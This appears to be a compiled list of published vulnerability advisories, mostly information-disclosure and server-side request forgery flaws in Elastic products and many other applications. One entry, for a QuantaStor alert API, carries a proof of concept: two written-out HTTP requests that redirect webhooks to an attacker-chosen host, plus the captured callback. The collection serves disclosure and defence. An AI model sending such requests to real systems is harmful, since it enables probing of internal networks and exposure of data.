An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.

Elasticsearch Security versions 6.4.0 to 6.4.2 contain an error in the way request headers are applied to requests when using the Active Directory, LDAP, Native, or File realms. A request may receive headers intended for another request if the same username is being authenticated concurrently; when used with run as, this can result in the request running as the incorrect user. This could allow a user to access information that they should not have access to.

A flaw was discovered in Elasticsearch 7.17.0’s upgrade assistant, in which upgrading from version 6.x to 7.x would disable the in-built protections on the security index, allowing authenticated users with “*” index permissions access to this index.

It was discovered that on Windows operating systems specifically, Kibana was not validating a user supplied path, which would load .pbf files. Because of this, a malicious user could arbitrarily traverse the Kibana host to load internal files ending in the .pbf extension. Thanks to Dominic Couture for finding this vulnerability.

Elastic X-Pack Security versions prior to 5.4.1 and 5.3.3 did not always correctly apply Document Level Security to index aliases. This bug could allow a user with restricted permissions to view data they should not have access to when performing certain operations against an index alias.

Elasticsearch X-Pack Security versions 5.0.0 to 5.4.3, when enabled, can result in the Elasticsearch _nodes API leaking sensitive configuration information, such as the paths and passphrases of SSL keys that were configured as part of an authentication realm. This could allow an authenticated Elasticsearch user to improperly view these details.

X-Pack 5.1.1 did not properly apply document and field level security to multi-search and multi-get requests so users without access to a document and/or field may have been able to access this information.

Elasticsearch Alerting and Monitoring in versions before 6.4.1 or 5.6.12 have an information disclosure issue when secrets are configured via the API. The Elasticsearch _cluster/settings API, when queried, could leak sensitive configuration information such as passwords, tokens, or usernames. This could allow an authenticated Elasticsearch user to improperly view these details.

When logging warnings regarding deprecated settings, Logstash before 5.6.6 and 6.x before 6.1.2 could inadvertently log sensitive information.

A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details.

Elasticsearch before 7.14.0 did not apply document and field level security to searchable snapshots. This could lead to an authenticated user gaining access to information that they are unauthorized to view.

A document disclosure flaw was found in Elasticsearch versions after 7.6.0 and before 7.11.0 when Document or Field Level Security is used. Get requests do not properly apply security permissions when executing a query against a recently updated document. This affects documents that have been updated and not yet refreshed in the index. This could result in the search disclosing the existence of documents and fields the attacker should not be able to view.

In Elasticsearch before 7.9.0 and 6.8.12 a field disclosure flaw was found when running a scrolling search with Field Level Security. If a user runs the same query another more privileged user recently ran, the scrolling search can leak fields that should be hidden. This could result in an attacker gaining additional permissions against a restricted index.

Elastic Enterprise Search before 7.9.0 contain a credential exposure flaw in the App Search interface. If a user is given the �developer� role, they will be able to view the administrator API credentials. These credentials could allow the developer user to conduct operations with the same permissions of the App Search administrator.

Elasticsearch versions before 7.10.0 and 6.8.14 have an information disclosure issue when audit logging and the emit_request_body option is enabled. The Elasticsearch audit log could contain sensitive information such as password hashes or authentication tokens. This could allow an Elasticsearch administrator to view these details.

Prior to Logstash version 5.0.1, Elasticsearch Output plugin when updating connections after sniffing, would log to file HTTP basic auth credentials.

In Elasticsearch versions 6.0.0-beta1 to 6.2.4 a disclosure flaw was found in the _snapshot API. When the access_key and security_key parameters are set using the _snapshot API they can be exposed as plain text by users able to query the _snapshot API.

With X-Pack installed, Kibana versions 5.0.0 and 5.0.1 were not properly authenticating requests to advanced settings and the short URL service, any authenticated user could make requests to those services regardless of their own permissions.

It was discovered by Elastic engineering that when elasticsearch-certutil CLI tool is used with the csr option in order to create a new Certificate Signing Requests, the associated private key that is generated is stored on disk unencrypted even if the --pass parameter is passed in the command invocation.

It was discovered that Kibana’s JIRA connector & IBM Resilient connector could be used to return HTTP response data on internal hosts, which may be intentionally hidden from public view. Using this vulnerability, a malicious user with the ability to create connectors, could utilize these connectors to view limited HTTP response data on hosts accessible to the cluster.

The Reporting feature in X-Pack in versions prior to 5.5.2 and standalone Reporting plugin versions versions prior to 2.4.6 had an impersonation vulnerability. A user with the reporting_user role could execute a report with the permissions of another reporting user, possibly gaining access to sensitive data.

A server side request forgery vulnerability was identified in Kibana where the /api/fleet/health_check API could be used to send requests to internal endpoints. Due to the nature of the underlying request, only endpoints available over https that return JSON could be accessed. This can be carried out by users with read access to Fleet.

Server-Side Request Forgery (CWE-918) in Kibana One Workflow can lead to information disclosure. An authenticated user with workflow creation and execution privileges can bypass host allowlist restrictions in the Workflows Execution Engine, potentially exposing sensitive internal endpoints and data.

External Control of File Name or Path (CWE-73) combined with Server-Side Request Forgery (CWE-918) can allow an attacker to cause arbitrary file disclosure through a specially crafted credentials JSON payload in the Google Gemini connector configuration. This requires an attacker to have authenticated access with privileges sufficient to create or modify connectors (Alerts & Connectors: All). The server processes a configuration without proper validation, allowing for arbitrary network requests and for arbitrary file reads.

OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the parameter entryUrls.

A vulnerability classified as problematic was found in Antabot White-Jotter up to 0.2.2. Affected by this vulnerability is an unknown functionality of the file /admin/content/editor of the component Article Editor. The manipulation of the argument articleCover leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

IBM QRadar SIEM 7.4.2 GA to 7.4.2 Patch 1, 7.4.0 to 7.4.1 Patch 1, and 7.3.0 to 7.3.3 Patch 5 is vulnerable to server side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 189221.

SAP NetWeaver, ABAP Platform and SAP Host Agent - versions KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88, 8.04, KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC 7.22, 7.22EXT, 7.49, 7.53, 8.04, SAPHOSTAGENT 7.22, allows an authenticated user to misuse a function of sapcontrol webfunctionality(startservice) in Kernel which enables malicious users to retrieve information. On successful exploitation, an attacker can obtain technical information like system number or physical address, which is otherwise restricted, causing a limited impact on the confidentiality of the application.

Talend Administration Center has a vulnerability that allows an authenticated user to use the Service Registry 'Add' functionality to perform SSRF HTTP GET requests on URLs in the internal network. The issue is fixed for versions 8.0.x in TPS-5189, versions 7.3.x in TPS-5175, and versions 7.2.x in TPS-5201. Earlier versions of Talend Administration Center may also be impacted; users are encouraged to update to a supported version.

In Progress Ipswitch WhatsUp Gold 17.0.0 through 21.1.1, and 22.0.0, it is possible for an authenticated user to invoke an API transaction that would allow them to read sensitive operating-system attributes from a host that is accessible by the WhatsUp Gold system.

OX App Suite 7.10.4 and earlier allows SSRF via a snippet.

OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Logo parameter under the Link module.

Sonatype Nexus Repository Manager 3.x before 3.38.0 allows SSRF.

The Table Filter and Charts for Confluence Server app before 5.3.26 (for Atlassian Confluence) allows SSRF via the "Table from CSV" macro (URL parameter).

Server-Side Request Forgery (SSRF) vulnerability in WP Royal Royal Elementor Addons royal-elementor-addons allows Server Side Request Forgery.This issue affects Royal Elementor Addons: from n/a through <= 1.7.1006.

An authenticated Zabbix Super Admin can exploit the oauth.authorize action to read arbitrary files from the webserver leading to potential confidentiality loss.

spxmanage on certain SpinetiX devices allows requests that access unintended resources because of SSRF and Path Traversal. This affects HMP350, HMP300, and DiVA through 4.5.2-1.0.36229; HMP400 and HMP400W through 4.5.2-1.0.2-1eb2ffbd; and DSOS through 4.5.2-1.0.2-1eb2ffbd.

A vulnerability in Mobile Plugin for Jira Data Center and Server allows a remote, authenticated user (including a user who joined via the sign-up feature) to perform a full read server-side request forgery via a batch endpoint. This affects Atlassian Jira Server and Data Center from version 8.0.0 before version 8.13.22, from version 8.14.0 before 8.20.10, from version 8.21.0 before 8.22.4. This also affects Jira Management Server and Data Center versions from version 4.0.0 before 4.13.22, from version 4.14.0 before 4.20.10 and from version 4.21.0 before 4.22.4.

In directus versions v9.0.0-beta.2 through 9.6.0 are vulnerable to server-side request forgery (SSRF) in the media upload functionality which allows a low privileged user to perform internal network port scans.

A remote authenticated server-side request forgery (ssrf) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manage that address this security vulnerability.

In Recipes, versions 0.9.1 through 1.2.5 are vulnerable to Server Side Request Forgery (SSRF), in the “Import Recipe” functionality. When an attacker enters the localhost URL, a low privileged attacker can access/read the internal file system to access sensitive information.

PartKeepr versions up to v1.4.0, in the functionality to upload attachments using a URL when creating a part does not validate that requests can be made to local ports, allowing an authenticated user to carry out SSRF attacks and port enumeration.

Nagios Enterprises NagiosXI <= 5.8.4 contains a Server-Side Request Forgery (SSRF) vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be replaced with an SSRF payload to access internal resources or disclose local system files.

The External Media without Import WordPress plugin through 1.1.2 does not have any authorisation and does to ensure that medias added via URLs are external medias, which could allow any authenticated users, such as subscriber to perform blind SSRF attacks

AdRem NetCrunch 10.6.0.4587 has a Server-Side Request Forgery (SSRF) vulnerability in the NetCrunch server. Every user can trick the server into performing SMB requests to other systems.

Server-Side Request Forgery (SSRF) vulnerability in task management component in Synology Download Station before 3.8.16-3566 allows remote authenticated users to access intranet resources via unspecified vectors.

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Sonatype Nexus Repository Manager 3.x before 3.36.0 allows a remote authenticated attacker to potentially perform network enumeration via Server Side Request Forgery (SSRF).

OX Guard 2.10.3 and earlier allows SSRF.

SSRF vulnerability in M-Files Server products with versions before 22.1.11017.1, in a preview function allowed making queries from the server with certain document types referencing external entities.